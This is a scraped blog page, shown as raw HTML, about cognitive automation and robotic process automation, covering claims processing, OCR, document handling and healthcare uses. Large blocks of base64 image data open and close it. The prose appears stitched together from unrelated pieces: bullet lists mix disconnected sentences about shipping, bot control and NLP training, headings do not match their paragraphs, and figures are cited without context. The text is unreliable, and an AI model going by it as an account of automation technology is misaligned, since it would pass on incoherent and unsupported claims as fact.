SPWxojWWF7gaYp6s0+8pp3DIgEoAZJI5GilQlSVYrIjryRmRuO6sykMZ3oBf1\/8AyLzP90f\/AC61dCf\/AEdYv\/8ATx\/ketrX\/wDIvM\/3R\/8ALrX0AjS9vsRGu270Qo3\/AIkHo9iVuV\/r7LWcLpp8hUw65OUXKMS1mhMoPktRJy4j39PLly\/m8eR9DqusP3pwTtp+uva7I4p9Q2alOqk1PwhRJNcMQb6PRVKk0xXb6TInsc+XV\/8A7K5L+lB\/iP8A064tpG87IzrWYxnkhJ3KnYjcevXokf8AieuLkl2LN1YP+IoeXupBbx1ODFdqrUliaK9i\/BPSdY6scC2fIpBiAaB\/lI+AG3MSxeh66idRdw9GZ3OVtBf6qr\/zfzPMyTRLQjSql75EyxykAuS8Uf7pCGaJk2JBA67I\/stk\/wCnD\/jP\/TrFJo23MyvLFUdk9qW9kewfXr+IB\/8AAdTyS7EeJD7yKWwvcapnr9\/FZLtrcr3K0UrfMS0C1eaUVElYbld\/qDsg++\/BgTvsOoUd7Iq+Jx+Yq9ostLfmx8MjpDTeJoUkD7xhjFuNjH+X7jku\/XYf9lsn\/Sg\/xn\/p0fstk\/6UH+M\/9OnJLsPEh946+1u5WDxkS0KnaPMWBWilnldqjSMqx1ksbB2Td33KIBv+ZSB+XbrPb7hLh8pmcTd7VPJgcZDPNVNTHF2lT8OjtSrw48eTNLJFsPzN6+4O99\/srkv6UH+I\/wDTo\/ZbJf0oP8R\/6dOSXYeJD7yKt0He05nLWexv7JX8ddp5QXrEWSrllkeRQYbELndNuChQFO8ZQg\/oWbZcJhrEaQz4ilJHFGYkR4FZVQlSVAI9DdEO38VH8B0y\/srkv6UH+I\/9Oj9lsn\/Sg\/xn\/p1HJLsSqtNLcWkweEjeSRMPRV5WZpGFdAXLbFiTt7J4rv8Ax4j+HXGrp\/A0RxpYShXHi8G0VZE\/d778PQ\/Lv72+2\/TP+y2T\/pQf4z\/06P2Wyf8ASg\/xn\/p05JdifFpdxYn09gbLK1jCUJSjM6l6yHZmGzMNx9yPRP6jrIuHxCTx2kxdRZolZI5BCoZFYgsAdtwCQCf7B0x\/stk\/6UH+M\/8ATo\/ZbJ\/0oP8AGf8Ap05Jdh4tLuLEen8DDt4cLQj4kEcayDYhDGPsP0QlR\/3SR9usCaT0yizI2CoyCw7yS+WBX5lpmmO+4O48rM+32DEke+m79lsn\/Sg\/xn\/p0fstk\/6UH+M\/9OnJLsPFpdxa\/AsJ5XmOGomSRzK7\/LpuzkqSxO33JRDv\/FV\/gOsU+mdPWKwpy4SiYAd\/GK6Bfyhftt\/RAX+wAfbpq\/ZbJ\/0oP8Z\/6dH7LZP+lB\/jP\/Tp4cuw8Wl3IfqX0x\/6TH\/5bf8Aw6+\/stk\/6UH+M\/8ATrfw2Du4+78xOYivEr9LEn\/LrKEJKS0MalaDg0mT\/R0dHXWVgdHR0dAHS\/n8rnqNmSHFaMfKp8vG8c3zcUSvIZgrRHluV4pvJyI4nbb7npg6h9TLqxqkA0fJiks+cec5FZChh4Nvx4e+XLh9\/W3L+roBL0rl+6eWyOQyGf7Y1cHCkSpWx8+SrzB5ltSKZhPEhI5QeOQKV9E8SQdyN2zqXXYo5Cy\/Z5JZaN+xXhq\/i0Jkt1RIEhtRHgUAdfreN2WRFUgCRuKtt1qndW9Yx75i3p2jFDWrS2UpmxKTcDyedVJKcoTGYwvIAhtyQQADMYNdZrVxX7SSYhrIqMMp8kJBGbP0cTDz9+P\/AHm\/L3+X+voBN1Z3Is6XzFLGT6DMOOzWUwmPpZKwHMc925LMLKPDHG8kZhhhi2lYcGksIjGNUkkXnP3HydDVeA0Vl9Bx46\/qRc0tULaSzxSnP+4d1QDaOxBtKW5fundI2BLEiXli7wb4ZobWkyFlh\/GEaKwOUfGDymud\/Tcha4hhts0W5Gzb4kpd4UTKSnK6bkmbLWZccjRSiNMeaoWCOTYcvILA5OQduJOx+ygDji5+49PT+CSxo\/F5HJ2gGzJsZFKq1OURkcIIoHEnGT90qg\/lAZpGO5PC1m7Wc0hl4sdofBZTPVasfm07NlECm1tzFeaVYnEQJXdHZPfokL72ktY4\/uJkKOVp6Uy2Gq\/N4+SGo9mGYSV7JRwHLo\/1KWKH0FK8T+bcbaOgsT3Xws9DGauzOCyGGp4GnVMsKztflyUahZpJJJDxeNgNwdg++5P36A+ZDJ6y3xGUq9v5nBsQR36kd2qPHFLDvNMxdOT+FxwCoVL8iRuNh1jzmf7gY62IMN2eq5ZTDYZZ0zEMCckrK8SfXGGAklYw7lRx2LEbeupLNnuLDet\/gs2Dr4tIoBUeaGxbsvMZP3okRSvFCpCqQzEe2I2HHrbwQ1+l7IftK2ClpvOXoGl5Vljh5EBJQ+4ZuIU8wQN2I4gKGYBH7QaqnyOGtY3TnbLBafnwefkwWboY+8TVriCMJ5a0y10Fniorp42SLjxkXkTGFZk1JqLXmLz8FTA9qkzmOnu4+tPkUy8Ndoa0zyi1O0Uihm8AjibgpJkEw4ndWHUjSr6\/SGB71zBvZW1X+Y8UMwjmreICYLu58cnlLsp2YFVVTsW5rxvQ9xJb4SpPgUxz5N\/JuJvOMcaBACkevP8AO7Hf8vh9fn6Ai6OW17FK96XQEiLZuR1PkRkKvjq1VuyxNcEirydnrGOx4jvt\/uwQ3LfU17LqTIUaTYDRq2pMbqSjJLHNXRvLTRwZJo\/Io4sNiAV3YbAjqBxmle9rYfTmi8hna6R6braUmtZkWpzNlZ68jHKxtJy5uHWKLbmo5+Vg2+54vVYdz3ozR3X03FbjmDwyxCeSOaLyyboyHiY28fiHMM\/1czx2ABAg6Gre4GQXT1zLdkZal25kZYL4bL1pfwmoAQLJcD96W2A8cYLe\/ZAHW1Rt65q4\/KWbOi4cpOLOUmx8TWYa7PEh3pxfk2Xy+xyfYptu2+\/TDgYtZR3Lramu4ieq5U01pV5IniGw5ByzsH3O5BAXYbDY\/fqb6Ar7UGW19gsxQu4Tt82bxd75Gteqw3K0Bxiu05tWxyXnPwArqYl9sDugJBBz6J1BrnUUfDWvaMaVkiopJIzZWvfiZ3O6QQmIcnKL\/vS6RqsmyxGdf3geujoCotP6374Y2Gpg8z2RnuPSTHR2MqmdpRi8rUvJdsJCg4pJHYHhWElRIzhlZYwzLaGMtZC3HLLfoR1AJdoVErOzR8R7cFFCty5jYFhsAQx32G70dAL+v\/5F5n+6P\/l1j7cfyFwn90TrJr\/+ReZ\/uj\/5dY+3H8hcJ\/dE6noBk6Ojo6gB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQC\/r\/APkXmf7o\/wDl1q6EuVcf26xd+7OkNetjxNNK52VEUEsxP8AAT1ta\/wD5F5n+6P8A5dLPHl2DuqP101aH\/wDYfrKK5mkRJ4TZh\/7THYEf\/W1pv\/zg6P8AtL9gj9u7OnP\/ADg68sqWEe1agpwqGmsSLEgJ+7MdgP8Amer41v2m+HTttqa1o3VXcfVqZehFBJYSrhUljUyxLIAG5e\/pcdX9XhVtSai5SbfZZKOnxK4qJy5YpLuzuv8A9pPsL\/7V9O\/+bHX0\/El2HUbnutp0D+9jrpRpDsN291Tmu42QrdxLNnRegqEN78UpVBJNaV4DK3FDsPp8cykfqVG3WxpTsl2c7rV83i+2fcDUtnNYnEy5KOHI4pK8LhCFALcifbMv2\/r61Ph9qn9uXTOm2e+htV9cNZ5V898fE7nD4lOwpOw7r6dP\/wDNjrkfiQ7ED791dPf+bHXSaz8P2gtN4bQ0GqNR6msal1xSW5TxuIoRyqVbiQA7MPezp6P679TdT4UNOW+6un+37ZzU1KvmcPayUkl+jHDPE0TABAoYgj37PR2Fmv5j69OxEb67ltBdOvc7d\/8AaV7Cb7f62NO\/+bHX1fiS7DNvx7radO33\/wBrHXSXVXw147F6m0fJpzU9jJaS1ZbFGO+YQJ68ytxkSRR9IP8ADc\/5dZ7Pw+aZxWj+4+qrWpMgI9CamGECLAh88InhjaQ\/wbaVjsP1A6n6vs2lio9fLzx+ZP026y04LTz8sndNfiT7DPvw7radO332tjr6PiR7Dn7d1dPf+bHXUHHdkuwOQ7YZru3W7iaqXAYS5HQuMcPGJvK7QqvFOW7DeeP3\/b\/DpX0v2c0PrfTndLVumdT5aTF6Gx8V3GvYqLFJdJryyOJF3PAB4mUbfce+oXDrV5fPJY0266fqS724WFyxefP1\/Q7zf9pDsR\/7VdPf+bHQfiR7Dj\/61tO\/+bHXSTO9sewmiUwlLW\/cLVUGVy+CpZpoaeHSaOOOwm4AbkPsVYf2AdSkPw99u7+q9K1MVrfMT6f1JgMhnhcekizxpVHteG+252P\/AC6j6BaLVzljXp2+BKvLlvCjH59zuOPiS7DE7Dutp3\/zY6+f9pPsKDt\/rX07\/wCbHXSub4ccTPr7Q9LTuormS0XrcL8pm1hUOj+NmaNl+ysNvsf6+qg0xpOXV3dnPdtquao4yLDyWFS3cVmMwjmSIKEUgljz5bD3srbA9aLilw615fEqv3ttP7Fhw624pxRVHbU4vk1eXjT47\/A9M\/8AtJdhv\/atp31\/97HXz\/tKdhP\/AGr6d\/8ANjry\/sdu+88NZcxF2\/llo2JIUgsLKnGTzSRJCQpbkAzTwbbgbeVN9tx1nq9pu+VrI38XPoD5GxjBYWyly1FBxeGolt0+pvbeGSJvXr94u5G\/XMq3Cv6kv9r\/AELR+z3Hks+HT\/7sP\/Y9Oh8SnYQ77d2NOnb7\/wC1jr4fiW7Bj792dOe\/\/vY68ysb2\/1NndH4vO6Yno5TMZarDf8AwONHSwK81+WjGyufpcmeMDiNiA4PRc7Id+6lSCzJ25cySrYdqqWIzYiWDbyM8fLcAcgf19e\/4dT4vCd\/Fl\/tf6GP7P8AHsuLpQTTa1qRWq9X\/Y9NP+0v2C\/9rOnP\/NjqZ0p3m7V66y34Fo\/XmHy+Q8TTfLVbAd+C7btt\/Abj\/n1434bNzZVpfJCqcAD9J+\/XaH4B9z3632O34Lb\/AP8AKPrvjw+1r2bu7ebaw8aY2KG8rX3DOIfV17TUZprOHndJ7rTZnpF0dHR1SFkHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0BA68R5NHZhI0LM1VwABuT66XYq9g9jbVUQSGY6esoI+J5FjC+w2++\/8AV0\/kAjYjcHo4qBxAG38Opi8NMhrKweR0OjddwSR2INJZ2OWJ1dHXHzbqwO4I+nq39Q93tX6jzD5vUHws6dyuRsJGk1yzi7rSyBECLyO\/6KoH\/h16IeGH\/hJ\/hHR4If8Agp\/hHVzU4tGq0509vNoq4cNlTTUZ7+R5yYvvB3fwuqtZ6ibs9Fbp65qw1MjhGxVlaQjjiEShQoDfk5g+\/fkY9ZaneHuNhcblquifh1xOlruXoSY98hjcXcWeON9va8iRuCAff6gdei3gh\/4Kf4R0eGH\/AISf4R1g+JUn\/K\/F9Cfq+qtqn4I85q3druW+E05hNS\/D9j9Sz6apilRyGSx135hIwRsAUIA2AUev6I63K3evvFT13g9c0+zq1H09irGKp0IqNwweOZgzEk7tuCPXvr0N8MP\/AAk\/wjo8MP8Awk\/wjo+JUn\/K\/F9TJWNSKwqn4LoecPbTur3l7aVMtQrdr3zNPKX\/AMT+VyGNslK9jly5RlQCPe3\/AC\/rPWvke4veDK6R1vpCftlPHDr3NNmr0q0LXOvIZI34RbjbbeID6tz7PXpN4Yf+En+EdHhh\/wCEn+EdHxOk5c\/ha+vYhWFRR5PE09O55i0c93TxvZ7OdmK3bq8+Nz+RhyFi5JQseeNo3gcKgA47E11Hsfzj0aI1B3U0DozWWi8V25u2a2tKYo25rGPsc4ECSpvHxAG+0xPvf7Dr068MP\/CT\/COjww\/8JP8ACOtj4vFpp093l69dP0MVw2SaaqbLG3T\/ABnnPN3P1peoYqrqL4acLqC1icbBi4r2QxVwzNBCNkU8dh6B\/wA+sOT7r95MhqihqWHtKlCLE4O3gaONq4yyteGGwhV23\/MT9iPe3rr0e8MP\/CT\/AAjo8MP\/AAk\/wjrX9ZUf6X4vqZfQav8AU\/BHm32l7n96O0+noNPV+2k2fpU7K3aMWTx1k\/JzhSC8RQAjfc\/8+qtoaX7n0NcZHuFj9L5mrlMjZlsun4Q8kUbs4kHEOp9q6qyn7gqD167eGH\/hJ\/hHR4Yf+En+Edaa91a3UuerQTfqztsZ8Q4YnG0ruKksP3U8rtrk8oq9nvvUmgYVNQyNWMLIz4csSYTTZN909+8bU+\/34H+J61clJ3vzGZrZ3I4DMTPVezwhbBsYWSxRgoTRsnDZkatVhjIP6A\/x69Z\/BD\/wU\/wjo8EP\/BT\/AAjrTzWHW3X+5ncuK8ZWsbrHT7EOu\/Q8mtNN3v0zjMbi8LU1DSgxUQrRomFb99CJpJljlPDd1EksjAH7Fj1LSam7\/RS\/MmrnbdrZx8xPgi8jB44423YpvvtDGf7Rv+vXqd4IP+Cn+EdHgg\/4Kf4R0zYf6f8A8mHxTjEm27nV9eSH6HjPiu1Wr8Uspj0dqKRpNti2NlAH\/wDT12U+BrTWpMP3qNjLabytKE4m0PLZpyRpyJj9bso9nr0E8EP\/AAU\/wjrksUaHdY1B\/iB12LiVOnbO1o0+WOvXbJU3Fvc3t59Ou63PPTLwlnGnTyOXR0dHVQdwdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQB0dHR0AdHR0dAHR0dHQH\/\/2Q==\" width=\"300px\" alt=\"cognitive automation use cases\" \/><\/p>\n<p><p>Traditional RPA is primarily limited to automating tasks that require quick, repeated operations without considerable contextual analysis or handling eventualities (which may or may not involve structured data). In other words, the automation of business processes they offer is primarily restricted to completing activities according to a strict set of rules. Because of this, RPA is sometimes referred to as &#8220;click bots,&#8221; even though most applications nowadays go well beyond that.<\/p>\n<\/p>\n<p><h2>Automated Document Processing<\/h2>\n<\/p>\n<p><p>Claims processing, one of the most fundamental operations in insurance, can be largely optimized by cognitive automation. Many insurance companies have to employ massive teams to handle claims in a timely manner and meet customer expectations. Insurance businesses can also experience sudden spikes in claims\u2014think about catastrophic events caused by extreme weather conditions. It\u2019s simply not economically feasible to maintain a large team at all times just in case such situations occur.<\/p>\n<\/p>\n<ul>\n<li>Once you have an initial list of requirements for process automation, assess which type of technology could best fit your needs \u2014 simple rule-based automation or AI-enhanced execution.<\/li>\n<li>Supporting this belief, experts factor in that by combining RPA with AI and ML, cognitive automation can automate processes that rely on unstructured data and automate more complex tasks.<\/li>\n<li>In addition, many vendors are providing Human in Loop capabilities where the output of AI\/ML models is validated by humans (Business SME), and post their approval, bots take the automated process to its completion.<\/li>\n<li>Most often there are hundreds of them, which raises the question of centralized control.<\/li>\n<li>They make it possible to carry out a significant amount of shipping daily.<\/li>\n<li>If you want to survive, you have to evolve, and intelligent technologies are the path to enterprise digital transformation.<\/li>\n<\/ul>\n<p><p>These tools can be delivered as a cloud-based application or integrated into the existing system. For example, look at the UiPath orchestrator to see what an RPA dashboard look like. For instance, computer vision can be used to convert written text in documents into its digital copy to be further processed by a standard RPA system. Or this may be a standalone interpretation to digitize paper-based documentation. McKinsey suggests applying text generation techniques to automatically create reports.<\/p>\n<\/p>\n<p><h2>Cognitive Automation Summit 2020<\/h2>\n<\/p>\n<p><p>Therefore, cognitive automation knows how to address the problem if it reappears. With time, this gains new capabilities, making it better suited to handle complicated problems and a variety of exceptions. According to experts, cognitive automation is the second group of tasks where machines may pick up knowledge and make decisions independently or with people\u2019s assistance. Cognitive automation solutions can help organizations monitor these batch operations.<\/p>\n<\/p>\n<div>\n<div>\n<h2>Is RPA a cognitive computing solution?<\/h2>\n<\/div>\n<div>\n<div>\n<p>RPA is not a cognitive computing solution.<\/p>\n<p> RPA can&apos;t learn from experience and therefore has a &apos;shelf life&apos;.<\/br><\/br><\/p>\n<\/div><\/div>\n<\/div>\n<p><p>Another use case involves cognitive automation helping healthcare providers expedite the evaluation of diagnostic results and offering insights into the most feasible treatment path. Until now the \u201cWhat\u201d and \u201cHow\u201d parts of the RPA and Cognitive Automation are described. Now let&#8217;s understand the \u201cWhy\u201d part of RPA as well as Cognitive Automation.<\/p>\n<\/p>\n<p><h2>Robotic vs cognitive: The two ends of Intelligent Automation continuum<\/h2>\n<\/p>\n<p><p>The queue is controlled and reprioritized by a set of scheduling microservices connected  to the central processing DB. OCR is the mechanical or electronic conversion of images of typed or handwritten or printed text into machine-encoded text whether from a scanned document, or a photo of a document. It is widely used as a form of data entry from printed paper data records including invoices, bank statements, business cards, and other forms of documentation.<\/p>\n<\/p>\n<ul>\n<li>And that\u2019s, by the way, more than\u202f10 percent of their overall operating costs.<\/li>\n<li>Moreover, clinics deal with vast amounts of unstructured data coming from diagnostic tools, reports, knowledge bases, the internet of medical things, and other sources.<\/li>\n<li>For accounts payable processes, bots can auto-generate invoices, keep track of days-sales-outstanding (DSO), process payments, and reconcile balance sheets after the payments.<\/li>\n<li>To sum up, intelligent automation is capturing the market of digital solutions now and applied in many industrial fields (from healthcare to logistics, from finance to supply chain management).<\/li>\n<li>The majority of core corporate processes are highly repetitive, but not so much that they can take the human out of the process with simple programming.<\/li>\n<li>An NLP model has been successfully trained on sufficient practitioner referral data.<\/li>\n<\/ul>\n<p><p>Some examples of mature <a href=\"https:\/\/www.metadialog.com\/blog\/cognitive-automation-definition\/\">cognitive automation use cases<\/a> include intelligent document processing and intelligent virtual agents. &#8220;Cognitive automation is not just a different name for intelligent automation and hyper-automation,&#8221; said Amardeep Modi, practice director at Everest Group, a technology analysis firm. &#8220;Cognitive automation refers to automation of judgment- or knowledge-based tasks or processes using AI.&#8221; One key issue is lacking a clear strategy or vision for an organization-wide approach. RPA can streamline a great many digital processes, but not everything is suitable for automation. Processes requiring lots of manual input susceptible to human error tend to be good candidates for automation.<\/p>\n<\/p>\n<p><h2>Download a free copy of &#8220;Preparing Your AP Department For The Future&#8221;, to learn:<\/h2>\n<\/p>\n<p><p>In practice, they may have to work with tool experts to ensure the services are resilient, are secure and address any privacy requirements. Businesses are increasingly adopting cognitive automation as the next level in process automation. These six use cases show how the technology is making its mark in the enterprise.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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RGBC+lcbY2Sd7XsD54rg3nXOOspXmOoaRyJeO\/Pz\/MHHb6b84qBIr9R2sSQ6rYY1zTOVISKxQBuTb5MMfiLkn3b0Zkg3XPp7RCUFRuUA3IbV1bpZNioktN9YvShOoAYi8ZwziCQcxVEgbmzytvzvjsMz50V8DMNQItt+iDvhpp3DeU4PHBP\/AIa5MLTzedKgVpkymQY6LuJd6pSf1VS2mXVAgj3p9KihSbg9wVuJGX81VyHBcyfVH4M+MZtlJlFpoFyDIbaWsC4XpeUyRcG1ibbYi9OY86EAjMFR3F79ebern+fy47pzHm+5Scwzz3k9eq\/Mct\/WcMMBThIE5suZYz7FzBClzGKi1AD4XEaeqvW+57AW8Xm3xrPXqcSpoJ+HptzTpF1eiUDO1Dz0p8PSZ+X5kiUtSpc7UuLqSlQKUCwKVLAQlO+gJUfsyAwV5mzclJIzDPv3DrlXPlzxk5jzba5zFUefNLyuWGbE807aBRRUuHXGE59zZWKcxU4raqi06w45TX3kGMEpDyWi3oX1pWXXQpKiFFtCSUpcWTKfRRyxxMoNOmrzZHdp0F1ySTAktOdb1qngpgpW4lKlBDPYKrdolP2u3QZkzeVC2Yp4BP6+o\/j\/ADvjqcyZuSL\/AEwzuXLr1b+35sIYClEgTX+iH0x+qcEqUw1rS0MyRC++lpbiWGy28nWsIBOkFQ5A8wBcm2ID6JzWXqp0p8u1zJNInRIDdJqDcph2CWfRtDbjbRUU3SdTfUgqvdSwonc72jOYM3qBUcwT7cxZ5VrfHjq3Ws4KJUa9PPkHlC49p2whhNr3Sh4U4T4UWpRHoEtClsPpKFpCygkfskkEezEMU6n8X8o5Xg0LK9FlLqD9LhOqflPtPMtTkpe9JD63HCs6iI47NxzIt2sbJrOaQnevVC9u59Xh68bCtZn0m9fni19+uUfkwzZlOzJYRSuIeYeFU6NXXKuiuiQXoaS81GkqSkpKUuKjlKCNWo\/YggJBB5qFHonFFniDmGsViKhyDOREMMx60sMIS1Jf0oDZb7B6ktlwAdpRNib2SlprWZAo3r08gf2ZW\/y46IrGZFj9O59zbk+o74TZlLmTYqWTONztNnM1lEuQXquuY8IFQMkyFLp6UpLSVLY6thMgWCdQKb3t2esxYWEl8RGBLSlL3Vp60JWVgLtvYnci99ziJxU8ykAe7M4nvs+fnxn3UzGB+m0\/l3vq+fCZClunXnrLUqrVemVT6WoGY4USPIYcp0txCUpccKNLyQtJQSAhSTfcBZtfcHfhU5UWMps0GuRZEap0Zaokppy6kJ7WpHVOHZ1rq1ICF87CyglQUkNP3VzJ\/Xad\/lCvnxsmpZjP9WZm\/L9EK3+XCbMoukfpf0as1ThtT3YkefKpFPrUeZW48FBcechoSuxCE7qAcLaiO6wUdkkiJ+ipOdzbxvn5q4d5drNKybHovotTdl6jHkyiGi0htZt1i0K67UAkBOkm\/vlhN6qrmIXT7sTTb+zrxsmpZhCf04mje1uvV8+LQnLafYWG\/f6afBRZZM9w8hpt1eFxfX4\/DxuocZ6NmSrU5TeXqbUJThpz6LREqUdZkxSkWE2LuUpcI7Q2Srtp+A40eBGWc10TMsl3NmUMzRlrYtGmSnC3Ga+3Sts1WXrUrs6SEJ06TvvhfNTzIDb3Xm+vr1fPjc1Gvj+rE3z9\/V8m+KmQqa6lggYjrLBvmjPV9j7utfvGLhL90sxczWJo\/wAOr58Dhm4+7Nzg5JeW66a0jUpZJJ\/QUbmTzw1zbBATzkvpisOyXDZtltTivUBc4XeFdP6ih+6chP6InKMlwnnqUb29mGhmuQmLlypOrOlPo6kE7\/Zdn8eJJyahCctRi38Hqk2HsGGcEqVr3Nz34FvPA88DCJEAB3nAsO84GB54EIWHecD24A88DAhQnVumNwDovGJvgbUM2PIzKuSiEpQhumI1KUUhLC3raQslSR4AmxI3xNgt3m2Kv1noAcLK30glcepVdrAW7UE1Z6igj0ZcwKCyvVe4SVjUU25k2IxZ\/DnW4JBfimnVuLnCqgVN6i13iVlinVCMoJeiyqsw062SL2UhSgQbHkcFRxx4Ln\/3tZOP\/nkb+Hhm5v6GvRpz7mafnHNfC6HOrFUeMiXJMuS2XXDzUUocCQT32GEkdAvolpBA4PwrW5eny\/yuE0SqSDxw4Ljc8WsnAf8Afcb+HjU8deCYUEni7k65IA+vcY3\/AHeI5PQL6Jh\/9z8IeqfL\/K41V0COiUSD\/Igh3BuP0fL5\/tuDRLop+ZdakNIfZdQttxIWhaSClSTyII5i2N7eeC1Np8KkU6LSqbGbjxITKI8dlAslttACUpHkAAPZgx7MIkWbeeBbzxj2YHswIWQLm18D24xfvG2B7MCFm3dfGL4HswPZgQiWYKczVaLIiPJCkrQUnbuItjwZ+iNcOYGROkM\/VKf1aE5qp7dUkMts9WluSlxcd03GylOFgPKVzK3VX8T75ubxXk\/cE29mPIL6LhT4y0ZNqTck9ZGrlZj9Vp+xcZhqve\/cWyLW78CFbcUq7nVBqyQQSo+ru27vmxaXJmVstyso0aTLy7S3H3YLC3FqiNkqUUC5JI54gpimt3CnWuxewI3uQfk7++23qxYzJSA3lGjNi9kwWQL8\/gDxxq4i7RtlSpNbrb6T8pf9mKT\/AJG382Acn5UP\/sxSv8jb+bCLxN4wcOODlMiVniVmZqiQpz\/o0d91h1xK3batHvaVWNgTv3A+BxUPjF0seFXFzibTeH0fj3Lyjw1iUxVQqlXo7UluVVJhc0JhJWG9bSEp7ZVpsrl4EV6ajmqTdoOXnYnd8z3J1TWRU2jiL8rgb\/kO9XX+lHKv\/Zqlf5G382AMpZWSAE5bpYCeVoje3yYovkbpMcJuB3Fqi0XKHSEqeb+GVeZkt1VuuekyX6FJQjU0626tsLWhxXZKUggXue44uBww48cJeMz1QY4ZZyj11ylJbXMDTDzfVBZUEXLiE3voVyvywtTQzU3WIOW172I7tb7ikpq2Ko6oIzbrXB79Lbwnb9LWXRyoVPH\/AIZHzY0ZoOWJDSX49HpjjaxdK0MNqSoeIIG+NsxP16LSnJGWoEabPQ40Ux5DxaS431ietAXY2V1evTfbVpvYXOIEp\/B7jTDfpdPbraIdPaiNQ5XodaktgNdSkrCEjYKDwXZaUoNik3NyBSueauKe\/pay6f6g07\/JkfNjVWVssqOpWXqYTa1zFQdvDliIKXkDjBljObeYBVZFZpFKTPXBp\/uy6NbOqcWIznWX6xSg7CGtYJT1ZJV72kOLHFCg8Scw5sRScjVqVTWJtBkvS3S4620xLaQ6iGlDiUlIUt2QVLtcgRUEpIIuXPNCkUZRyqn4OWqUN7\/zm3z+LBOpUzh9RUNvViDl6Ah1WhtUltloKV4Aqtc+WIwjZD4xxnmm6bNVGp0moQnhGkV1592nRWZ7TzrZWoKLynGkup+FYa9NykDC5N4R1mpUrIlMezFKZcy9GfFRmqdRMkOvux9KlBUptwLu4VG5AsLAWG2BCf6cq5VUApOXaWQRcERW9\/kwTqFM4eU+CqfVIOXo0PV1SnpDbKGtROnSVK2vfa3jtiDqNwe44UmHGhe7gRGh02lxFw4dZeZYdYZbhJfiNHm2SWZdnRpV76m6u0oIdc3hfmpPD7LNIbgdZUqNU5s1Qj1UKfjh8yNJQ5IbW2+Ql8JWHUG4KiDqAuIUoIyzlF8kt0GkuFtVjpjNnSq17HbY2IPqOOn0qZYHLLtM\/wAkb+bEJxODXEykwWJUeqMiXITDFZh02pvxI0ltlqmIcZjoFksahFmJSpISbOJBIBOninhTxzVJlLl5tlqYdpxYYbj111JYbMZKPRta0nWtLupYeKQpWxKxcjAhTkMq5Z\/7O0z\/ACRv5sD6Vcs\/9nqZ\/kqPmxEebsgcZ6twlo2V6HV2ImYIwl9dKTVZTamyUuiKoua1KWU6mysKKwCNtQAONYvC7i1FzhTa0c2zHIKqvJqEpo1Z4hlK6k66E6SSlSDCLDAbCSlJbVbTrU5gQpeGVcsJJUnLtMBOxPojfzY0XQMptL0O0akoVpK7Kjtg6RzPLluN\/PEX5m4ecZZnECfWqDnFpjLzi\/0NAcmvJIHVB0lWkbEykBOx2aWoDww2o3Bri3NZiCtVION0+pmXEacrL61IQURgLrJUo6VpkL0lSh2gLm+whTwjLWWXEJcboVMUlQBSRGbII8RtjDeX8quqcbbo1LWplQQ4lMdslCrA2ItsbEH1EYgyq8PeI2UaBTqnOrlXqYMqYa5EiVWoOLlNKlKVCbZ6lKlshtChqLaUghOlVwbiRuCeVK9lrLK5WaUuir1lqmy55ee61xUhulxI7pWfttbCr7m\/PvwITw+ljLf9YKd\/kqPmw1qtXciUbOFPyPKyq2qpVVKVw9ENkodR2usVqvsGwm6r2J1DSFG4D8wQfoVFlTPdGRSojsoFtQfW0krBbJKDqtfslSreFz44LoUc55pENrMHUwobLDaIratDTYQLlS+4bX2wy+HrRZqmc21D4Nbb3\/8ABR8SfmlkOZidun+lmd7fdLxHOUAEZizumx\/Ttr94RsSH3AgI9nRkSMrz2VKIBSjcfs04lHKrSWcvR2wq4S2n7wxGWazbL02\/62Dv+yGJQy0PrGyPFCfwRiPghHtrYG2IMZ6Ub9VkT1ZV4F5+r1PhT5VOFQiKpiGn3I7ymnCgOy0LtrQodpIx2PSOzSL36NPEj9vo\/wDxuHiJ51AUZlYNCQpt2wNsQkOkfmexJ6NHEn9vo\/8AxuNfqkczf\/DXxH\/b6P8A8bhdjJ2Um3i7Q9VN+B3YhA9JLM17fU08SPY\/R\/8AjsYHSTzMR\/0auJA9b9H\/AOOwbGTslG3i7Q9VOJxjuxB\/1SmZD\/8Apr4kft1I\/wCNxk9JPMtwPqaeJB5Xs\/R\/+NwbCTslG3i7Q9VOGBYdxxBp6SuZe7o0cST5CRRv+O\/O+M\/VKZk2v0beI1j\/AGxR\/wDjcGwk7JRt4u0PVTj7cD24g76pLM3\/AMNfEf8Ayij\/APG4H1SeZr2+pq4kf5RR\/wDjcGwk7JRt4u0PVThgYg89JTMo2PRr4jk9w9Io9z\/ruNT0lszAEno0cSdu4PUc3\/13BsJOyUbeLtD1U5YGIPHSUzMoAjo1cSBfxeo4P79wD0lMyJ3V0a+I4SOZ9Io+3+u4NhJ2SjbxdoeqnDAxB\/1S+YVEhHRt4jm3P3+j7f67+dsYPSVzKASro1cR7AXuH6Qf\/wDtwbCTslG3i7Q9VOOBiC09Juvqvbo38RSRsR6RR7je249Nxl3pNZiabU6vo28RkpQjWq8ijkgWv3TfI4NhL2SjbxdoeqnRVzGeSPtT97HkV9FwYRHhZWSlSCV16oK3PaFo7GwFtxvufV449WMk5vpnEDIlJzzRW32oFeprVQjNvpCXUNut6glYBICgDY2JHnjyv+i7WNNytzujME8fC53jsnl+fy4iUyv\/AO5jQJUpQJ2uPz9uJqywgN5dpiEnYRGgN7\/YjEPhskE7+NsTDlog5fpxHL0Vu3+KMX6wkgXVWnAF7Jl8fuCeXOP3DSocO8wvGL16kSIM1CAtcOUj4DqUki\/NSVC4ulShcXuPMmrfQ5+ktTs7M5Wi5egT6dIeCEV1ic36GhvmVrCiHUWHMFFyRZOrHoT03czvZT6Lue6jFfDUiTCap7Z1EE+kPttKtbe4QtR9mKXdF+rdOLNMGlqyLxPnIoMxD7bLlbZExppSAQgH0hBWW1KSBqZK9FySBYjGrhL6mKmdJG9obfc69r2voR8ljYqynlqWxvY4utvba9r2sQfmoU469FnNvAw1CRWqow9GiSm47CXGHGnpDak7vpsFM6NWwSHS5YgqSncC5H0KbKEqm8Os551fSQ1XKrHhM7cxFbUVH1XkW\/vcQ\/m7gj04OkznhvKfE3L5pEamSf0Z